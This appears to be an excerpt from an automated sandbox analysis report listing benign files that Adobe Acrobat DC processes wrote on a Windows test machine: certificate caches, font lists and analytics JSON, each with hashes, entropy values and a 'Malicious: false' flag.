Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkllEeltfllXlE/HT8kvz/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kKV6eT8gzVNMa8RdWBwRd
MD5:	CB1920004AB0454CA2D3618444484E5B
SHA1:	8577A4F1002F02E22AFDB4B6A1572E16F729217E
SHA-256:	85D7FABE87573CE43E3415D896431B8B5A80828927B0115D003067FBD22ECDC3
SHA-512:	6265169DB93A798350FDA6303D178BD3A3737C6A45B557D318FFC61BFFF9A78A3F6E5253904077146A784722D2AD6E58F58B7CBC27175F73D180DA872520B7C8
Malicious:	false
Preview:	p...... .........!\<.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKXeK/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:/X/iDImsLNkPlE99SNxAhUe/3
MD5:	E0B14BEDC9C2EE9BCDBBEFEDA3B4FD93
SHA1:	25188C53AD5D82D428932E37441BB2231B1A0163
SHA-256:	F6CE54FE02635A90B56034888BBEB5263224C4444445780FC2A3F3FF9AF95F90
SHA-512:	2E144DC20258FA7C485ACCDD3C2419CE2A481059239D493725E4ABCBDA62897B4B3F6A5B0A19381BECFC843A572D899FC2BAFC61C7D818B4C9CFD08DD3453955
Malicious:	false
Preview:	p...... ........Z..N.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2604

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2604

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.360239319540705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJM3g98kUwPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGMbLUkee9
MD5:	9F3518EE18645F9735464C570A102259
SHA1:	B392F91742BA221E04FECC7E1956DD051F4E7027
SHA-256:	F8A1E974CD36792800948FE1841B101BD0770F3A981C680840AD0A5B3371DE75
SHA-512:	FEDEB221975E05B157619D6344A2336BEC34D822A741EF40D0E3A3F56058144EC3F71457D677A8AA352ECAE5BE22BB369A59E323168E96836742B6F097659813
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.313481780363059
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJfBoTfXpnrPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGWTfXcUk3
MD5:	DBB370F2D623E1E1DC31B643A421D5F1
SHA1:	A5BE07CA1EE86009CE780B0B7F2C80932F184B66
SHA-256:	4ECCF3817158F20FA7B0CFEE2BE08896A3C3EF7AEACB664B9E0254058AB6DDDE
SHA-512:	599E9C85CDBD56D23C20D90EEF6AEC39E3D64DB162D1708D0075659E33765436ABC69BBE3665BEA4B306BE42EFF8AA9FFCE1BE62CF0665F8CD0E4A210971FBA5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292030096889064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJfBD2G6UpnrPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGR22cUke6
MD5:	C26EEFC13A0ACF7E8A6E034340872826
SHA1:	72FB226E90B4629602FCC61241A7B6443B1C6D5E
SHA-256:	622A9D7DC906FE163D245334A11A0609A9D63BBD9F49813ABC82EB6A71529A49
SHA-512:	2A11C88A5DDD844A60ACE8067C17178736DB457FC246F6A32451A780DCBD821FC1485DE900D50260D1732D162B765E2D9A2B6406EC150F7AB0E28A070AC4FE8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.341131735721324
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJfPmwrPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGH56Ukee9
MD5:	30EB43D6D54CEE3D6F3E52C485F436C2
SHA1:	5D3CE482DE5C9C20ACBCC62C0AC4663FDEAA629B
SHA-256:	23B9E730718417E52AB6713BA4A7B31E60CE1A117D143FEDB1C17DF2A029A7A2
SHA-512:	DD2C14AA37EAB3A246DFEE05EE2AB9D54182B4FC181B81480F2F29F1E4708EE67DD2626BFA709C8354AEF522E1A827CA7474B897234713348020688D507AEB47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.695151713215064
Encrypted:	false
SSDEEP:	24:Yv6XiRpL1rT5XIA+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSqYS:YvDXl+hgy6SAFv5Ah8cv/+
MD5:	AC83A4D7D90B88FF6D4A5EF9EA2F5DEC
SHA1:	6906E28BF849F3D0E7072571A4F542611A9F45CE
SHA-256:	48357F3585B8F7EE09B70227891A0846663CE697A53244481C3E4F85AA276311
SHA-512:	1D26BFEB60D5163868F29C0D2219E63948C3B80C9D3A4745E14CF23DDCFBC342D678FB36F06A339EE1C25315326F18B78CA5B3C58392758262C09689B3FFBB15
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316355008432541
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJf8dPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGU8Ukee9
MD5:	6DB2BCFB2151F737A92F9F2F49CB7A36
SHA1:	2097590E23287DC3931961EA6A39AC822C4DB055
SHA-256:	926D5B80235DCBEA9F11B07EBF08825363A7DFBF95C845D016FB337CC99EFAB7
SHA-512:	35247A336995E5650EA405BDF7778EDE1AD243891F3AEAA5E0403C394F9C7CC6BCDAF053DF81F2D55E7AAF9B7C0F61EA0DF6689A715341E2C054E0A07411812E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.307087206468971
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJfQ1rPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGY16Ukee9
MD5:	3123446B5441AA2D4CBC333CEB5B7DAF
SHA1:	E364C8C614C1B4BE7FE9262807A66953F2AA1E10
SHA-256:	2A0A64E00D79960661BFC26E63B954FDB6E61A9DCD3EA27538DC965A83972096
SHA-512:	DA9BEA8CD662FC1E48BC56F038F03AED159AA8BC284B872768B4DCCEBA28F92CC878AFBBD3E77C1FB340AF0066CB836CBAEA07F693524643518BFE5C9618A2B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.326853962745193
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJfFldPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGz8Ukee9
MD5:	EFCAC4A06731655B0BF443A258F3F2F8
SHA1:	E2E64DEBE1DCEDE284FCC017B7B671739481C1DC
SHA-256:	A1C47126351152B3A8B34B3E1F446CF3328BAF201BD412C37F480056ED2C1287
SHA-512:	769FDEFC83DA5D404F7F2290B1272AFFCF12DC16FB7C429949AEC3206ACD53A219FAA1C4FA6E811468A9822551BF881CC83F3D3CC1D126935E329624C067F929
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342748116609106
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJfzdPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGb8Ukee9
MD5:	98D6C4DBB691B9C032F3998CCE4F712F
SHA1:	978046680B6BEBA431173D25842A879037A9484F
SHA-256:	C8B0160D21E29527B9C339D5AB25D777A49E0790D5A58186EEA97ACA6550516A
SHA-512:	2FBACFB8E81E0E56981B6A488DF5D79AA4E97010BE015049038D304802CD3A9BBC7ADA06BB6CC706D9941BE491D745230B1A7D0B634E45DE4568B015D636B6AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2be4555b-bc8c-4e5b-b4b5-7161bb76bf26","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736713550167,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323271327601857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFgRtQRIDTH14mSg1c2LjcWkHvR0YF6qoAvJfYdPeUkwRe9:YvXKXFgRtQuDL1rT5LjIPoZGg8Ukee9
MD5:	5BD4BD9776B7B6C25756258EC1C1A11A
